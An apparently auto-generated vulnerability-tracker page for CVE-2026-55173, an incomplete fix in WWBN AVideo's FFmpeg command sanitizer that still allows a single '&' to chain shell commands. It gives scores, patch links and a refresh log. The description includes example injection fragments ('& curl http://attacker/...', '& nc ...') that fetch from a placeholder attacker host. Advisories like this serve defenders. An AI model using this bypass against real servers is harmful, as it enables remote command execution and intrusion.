CVE-2026-55173

HIGHPre-NVD 8.18.1—
EchelonGraph scoreMEDIUM confidence

Score 8.1 from GitHub Security Advisory (severity: HIGH) published 2026-06-23. a secondary CVSS source baseline 8.1; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: epss, ghsa, secondary
Trending — 3 sources updated this weekElevated
8.1EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: 3%CVSS: 8.1Exploit: Elevated riskExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

CVSS v3
8.1
EG Score
8.1(medium)
EG Risk
52(Track*)
EG Risk 52/100SSVC: Track*

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity81% × 45%
Exploitation40% × 40%
Automatability0% × 15%
Action: Watch closely — could escalate to Attend.
EPSS PROB
3%
EPSS %ILE
88%
KEV
Not listed

Published

June 23, 2026

Last Modified

July 17, 2026

Advisory Details (2)

Auto-updated Jul 16, 2026
🔬 Proof of concept available. Patch available. Sources: github, github_commit.
github_commit

commit c1cfa2bea8a3 (WWBN/AVideo)

Fix landed in WWBN/AVideo commit c1cfa2bea8a3 — awaiting tagged release

https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f
github Patch Available🟡 PoC Available

Incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink · Advisory · WWBN/AVideo · GitHub

https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f

Vendor Advisories for CVE-2026-55173(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFixed in / PatchReleasedSource
composerwwbn/avideo—ghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
wwbn/avideo10.4 ... 29.0 (18 versions)——

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 20× in last 7d / 104× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 172 total refreshes for this CVE.

  1. 2026-08-27 14:25 UTCEPSS rescore
  2. 2026-08-26 14:46 UTCEPSS rescore
  3. 2026-08-25 13:49 UTCEPSS rescore
  4. 2026-08-25 01:29 UTCEG score recompute
  5. 2026-08-25 01:29 UTCGHSA enrichment
  6. 2026-08-24 13:54 UTCEG score recompute
  7. 2026-08-24 13:54 UTCGHSA enrichment
  8. 2026-08-24 01:07 UTCGHSA enrichment
  9. 2026-08-23 13:28 UTCGHSA enrichment
  10. 2026-08-23 01:33 UTCEG score recompute
  11. 2026-08-23 01:33 UTCGHSA enrichment
  12. 2026-08-23 00:19 UTCEPSS rescore
  13. 2026-08-22 13:49 UTCEG score recompute
  14. 2026-08-22 13:49 UTCGHSA enrichment
  15. 2026-08-21 23:49 UTCEPSS rescore
  16. 2026-08-21 18:17 UTCGHSA enrichment
  17. 2026-08-21 06:47 UTCEG score recompute
  18. 2026-08-21 06:46 UTCGHSA enrichment
  19. 2026-08-20 22:55 UTCEPSS rescore
  20. 2026-08-20 19:16 UTCGHSA enrichment
  21. 2026-08-20 07:46 UTCEG score recompute
  22. 2026-08-20 07:46 UTCGHSA enrichment
  23. 2026-08-19 17:04 UTCEPSS rescore
  24. 2026-08-19 04:49 UTCEG score recompute
  25. 2026-08-19 04:48 UTCGHSA enrichment
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  1. 2026-08-18 13:48 UTCEPSS rescore
  2. 2026-08-17 13:47 UTCEPSS rescore
  3. 2026-08-17 07:42 UTCGHSA enrichment
  4. 2026-08-16 20:13 UTCEG score recompute
  5. 2026-08-16 20:13 UTCGHSA enrichment
  6. 2026-08-16 14:56 UTCEPSS rescore
  7. 2026-08-16 08:20 UTCEG score recompute
  8. 2026-08-16 08:20 UTCGHSA enrichment
  9. 2026-08-16 02:14 UTCEPSS rescore
  10. 2026-08-15 20:50 UTCGHSA enrichment
  11. 2026-08-15 08:45 UTCEG score recompute
  12. 2026-08-15 08:45 UTCGHSA enrichment
  13. 2026-08-15 01:30 UTCEPSS rescore
  14. 2026-08-14 20:36 UTCGHSA enrichment
  15. 2026-08-14 09:07 UTCEG score recompute
  16. 2026-08-14 09:07 UTCGHSA enrichment
  17. 2026-08-13 22:00 UTCEPSS rescore
  18. 2026-08-13 21:37 UTCGHSA enrichment
  19. 2026-08-13 09:30 UTCGHSA enrichment
  20. 2026-08-12 22:00 UTCEG score recompute
  21. 2026-08-12 22:00 UTCGHSA enrichment
  22. 2026-08-12 13:51 UTCEPSS rescore
  23. 2026-08-12 10:31 UTCGHSA enrichment
  24. 2026-08-11 23:01 UTCEG score recompute
  25. 2026-08-11 23:01 UTCGHSA enrichment
  26. 2026-08-11 11:31 UTCGHSA enrichment
  27. 2026-08-11 00:02 UTCEG score recompute
  28. 2026-08-11 00:02 UTCGHSA enrichment
  29. 2026-08-11 00:00 UTCEPSS rescore
  30. 2026-08-10 12:32 UTCGHSA enrichment
  31. 2026-08-10 00:53 UTCEG score recompute
  32. 2026-08-10 00:53 UTCGHSA enrichment
  33. 2026-08-09 13:46 UTCEPSS rescore
  34. 2026-08-09 13:24 UTCGHSA enrichment
  35. 2026-08-09 01:54 UTCEG score recompute
  36. 2026-08-09 01:54 UTCGHSA enrichment
  37. 2026-08-08 16:37 UTCEPSS rescore
  38. 2026-08-08 14:25 UTCGHSA enrichment
  39. 2026-08-08 02:55 UTCEG score recompute
  40. 2026-08-08 02:55 UTCGHSA enrichment
  41. 2026-08-07 15:25 UTCGHSA enrichment
  42. 2026-08-07 03:55 UTCGHSA enrichment
  43. 2026-08-06 16:25 UTCEG score recompute
  44. 2026-08-06 16:25 UTCGHSA enrichment
  45. 2026-08-06 13:47 UTCEPSS rescore
  46. 2026-08-06 04:55 UTCEG score recompute
  47. 2026-08-06 04:55 UTCGHSA enrichment
  48. 2026-08-05 19:17 UTCEPSS rescore
  49. 2026-08-05 17:26 UTCGHSA enrichment
  50. 2026-08-05 02:45 UTCGHSA enrichment
  51. 2026-08-04 15:14 UTCEG score recompute
  52. 2026-08-04 15:14 UTCGHSA enrichment
  53. 2026-08-04 15:10 UTCEPSS rescore
  54. 2026-08-04 10:39 UTCEPSS rescore
  55. 2026-08-04 01:45 UTCGHSA enrichment
  56. 2026-08-03 14:15 UTCEG score recompute
  57. 2026-08-03 14:15 UTCGHSA enrichment
  58. 2026-08-03 10:36 UTCEPSS rescore
  59. 2026-08-03 02:16 UTCGHSA enrichment
  60. 2026-08-02 14:46 UTCGHSA enrichment
  61. 2026-08-02 03:16 UTCEG score recompute
  62. 2026-08-02 03:16 UTCGHSA enrichment
  63. 2026-08-02 02:27 UTCEPSS rescore
  64. 2026-08-01 15:47 UTCGHSA enrichment
  65. 2026-08-01 04:16 UTCEG score recompute
  66. 2026-08-01 04:16 UTCEPSS rescore
  67. 2026-08-01 04:16 UTCGHSA enrichment
  68. 2026-07-31 15:12 UTCGHSA enrichment
  69. 2026-07-31 03:39 UTCEG score recompute
  70. 2026-07-31 03:39 UTCGHSA enrichment
  71. 2026-07-30 16:28 UTCEPSS rescore
  72. 2026-07-30 15:09 UTCEG score recompute
  73. 2026-07-30 15:09 UTCGHSA enrichment
  74. 2026-07-30 02:35 UTCEG score recompute
  75. 2026-07-30 02:35 UTCGHSA enrichment

Frequently asked(5)

What is CVE-2026-55173?
CVE-2026-55173 is a high vulnerability published on June 23, 2026. WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand()…
When was CVE-2026-55173 disclosed?
CVE-2026-55173 was first published in the National Vulnerability Database on June 23, 2026, with the most recent update on July 17, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-55173 actively exploited?
CVE-2026-55173 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 3% probability of exploitation in the next 30 days, which ranks it in the top 11.9% of all scored CVEs.
What is the CVSS score of CVE-2026-55173?
CVE-2026-55173 has a CVSS v3 base score of 8.1 (NVD).
How do I remediate CVE-2026-55173?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55173, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

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